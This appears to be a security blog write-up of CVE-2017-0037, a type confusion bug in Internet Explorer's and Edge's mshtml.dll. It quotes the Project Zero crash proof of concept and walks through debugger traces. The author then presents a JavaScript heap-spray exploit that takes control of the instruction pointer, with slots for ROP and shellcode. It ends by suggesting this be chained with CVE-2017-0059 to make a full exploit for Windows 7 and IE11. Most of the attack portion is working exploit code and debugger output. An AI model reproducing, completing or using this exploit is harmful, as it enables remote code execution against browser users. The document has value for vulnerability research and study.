Internet Explorer

“Microsoft Internet Explorer 10 and 11 and Microsoft Edge have a type confusion issue in the Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement function in mshtml.dll, which allows remote attackers to execute arbitrary code via vectors involving a crafted Cascading Style Sheets (CSS) token sequence and crafted JavaScript code that operates on a TH element.”

The PoC

The vulnerability was found by Ivan Fratric of Google Project Zero. The following is the PoC he provided:

<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
  document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
  th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>

With a few notes:

The PoC crashes in
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement
when reading from address 0000007800000070
[...]
Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address.
[...]
Let's take a look at the code around the rip of the crash.
 
00007ffe`8f330a51 488bcd          mov     rcx,rbp
00007ffe`8f330a54 e8873c64ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a59 48833800        cmp     qword ptr [rax],0 ds:00000078`00000070=????????????????
00007ffe`8f330a5d 743d            je      MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c)
00007ffe`8f330a5f 488bcd          mov     rcx,rbp
00007ffe`8f330a62 e8793c64ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a67 488b30          mov     rsi,qword ptr [rax]
00007ffe`8f330a6a 488b06          mov     rax,qword ptr [rsi]
00007ffe`8f330a6d 488bb848030000  mov     rdi,qword ptr [rax+348h]
00007ffe`8f330a74 488bcf          mov     rcx,rdi
00007ffe`8f330a77 ff155b95d700    call    qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)]
00007ffe`8f330a7d 488bce          mov     rcx,rsi
00007ffe`8f330a80 ffd7            call    rdi
 
On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations).
 
On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory.
 
However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls.
 
Assuming an attacker can pass a check on line 00007ffe`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80.

Sounds pretty easy to control that CMP condition if we can perform heap spray and point EAX to some memory location we control.

Control EIP

First of all let’s confirm that the PoC works:

(654.eec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000038 ebx=049f4758 ecx=049f4758 edx=00000002 esi=00000064 edi=5a0097f0
eip=59a15caf esp=0399bd68 ebp=0399bd94 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800          cmp     dword ptr [eax],0    ds:002b:00000038=????????

I played a little bit with the width of that “th” element as suggested by Ivan and found that a value of “2000000” allows us to move the value of EAX to a controlled memory location in the heap spray:

0:018> bu 59a15caf 
0:018> g
[...]
Breakpoint 0 hit
eax=03bd86d4 ebx=03bd86c4 ecx=03bd86c4 edx=00000002 esi=00000064 edi=5a005320
eip=59a15caf esp=03f1c1d8 ebp=03f1c204 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800          cmp     dword ptr [eax],0    ds:002b:03bd86d4=a0949807
(skip the first break)
 
0:007> g
Breakpoint 0 hit
eax=0bebc2d8 ebx=04be9ae0 ecx=04be9ae0 edx=00000002 esi=00000064 edi=5a0097f0
eip=59a15caf esp=03f1c1d8 ebp=03f1c204 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
59a15caf 833800          cmp     dword ptr [eax],0    ds:002b:0bebc2d8=0e0e0e0e

As expected, EAX points to some valid (and controllable) memory location.
If the CMP condition is satisfied the vulnerable routine tries to load the vftable of the object located at “0e0e0e0e” and calls the function at +1A4h:

59a15caf 833800          cmp     dword ptr [eax],0
59a15cb2 7448            je      MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xf1 (59a15cfc)
59a15cb4 8bcb            mov     ecx,ebx
59a15cb6 e8ec8181ff      call    MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (5922dea7)
59a15cbb 8965f0          mov     dword ptr [ebp-10h],esp
59a15cbe 8b18            mov     ebx,dword ptr [eax]
59a15cc0 8b03            mov     eax,dword ptr [ebx]
59a15cc2 8bb8a4010000    mov     edi,dword ptr [eax+1A4h]
59a15cc8 8bcf            mov     ecx,edi
59a15cca ff15ac1f455a    call    dword ptr [MSHTML!__guard_check_icall_fptr (5a451fac)]
59a15cd0 8bcb            mov     ecx,ebx
59a15cd2 ffd7            call    edi
 
 
Step by step:
59a15cbe 8b18            mov     ebx,dword ptr [eax]  ds:002b:0bebc2d8=0e0e0e0e
59a15cc0 8b03            mov     eax,dword ptr [ebx]  ds:002b:0e0e0e0e=0e0e0e0e
59a15cc2 8bb8a4010000    mov     edi,dword ptr [eax+1A4h] ds:002b:0e0e0fb2=41414141
59a15cd2 ffd7            call    edi {41414141}

The following is a working PoC to set EIP to 41414141

<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
 
    function boom() {
      document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
      th1.align = "right";
    }
</script>
<body onload="setInterval(boom,1000)">
<div id="hs"></div>
<script>
    // Heap Spray - DEPS avoid null bytes
    var hso = document.getElementById("hs");
    hso.style.cssText = "display:none";
     
    var junk = unescape("%u0e0e%u0e0e");
    while (junk.length < 0x1000) junk += junk;
     
    var rop = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
    var shellcode = unescape("%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc%ucccc");
    var xchg = unescape("%u4141%u4141"); // initial EIP control
     
    var offset = 0x7c9; // to control eip
    var data = junk.substring(0,offset) + xchg + rop + shellcode; 
    data += junk.substring(0,0x800-offset-xchg.length-rop.length-shellcode.length);
 
    while (data.length < 0x80000) data += data;
    for (var i = 0; i < 0x350; i++) 
    {
        var obj = document.createElement("button");
        obj.title = data.substring(0,(0x7fb00-2)/2); // 2 null bytes terminator
        hso.appendChild(obj);
    }
     
</script>
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="0" width=2000000></th> <!-- width should control eax contents, should land somewhere in the heap spray -->
<th class="class2" width=0><div class="class2"></div></th>

Working Exploit Concept

It’s pretty obvious, we have a memory leak and control of EIP. Chain together CVE-2017-0059 and CVE-2017-0037 and you’ll have a working exploit for Windows 7 and IE11.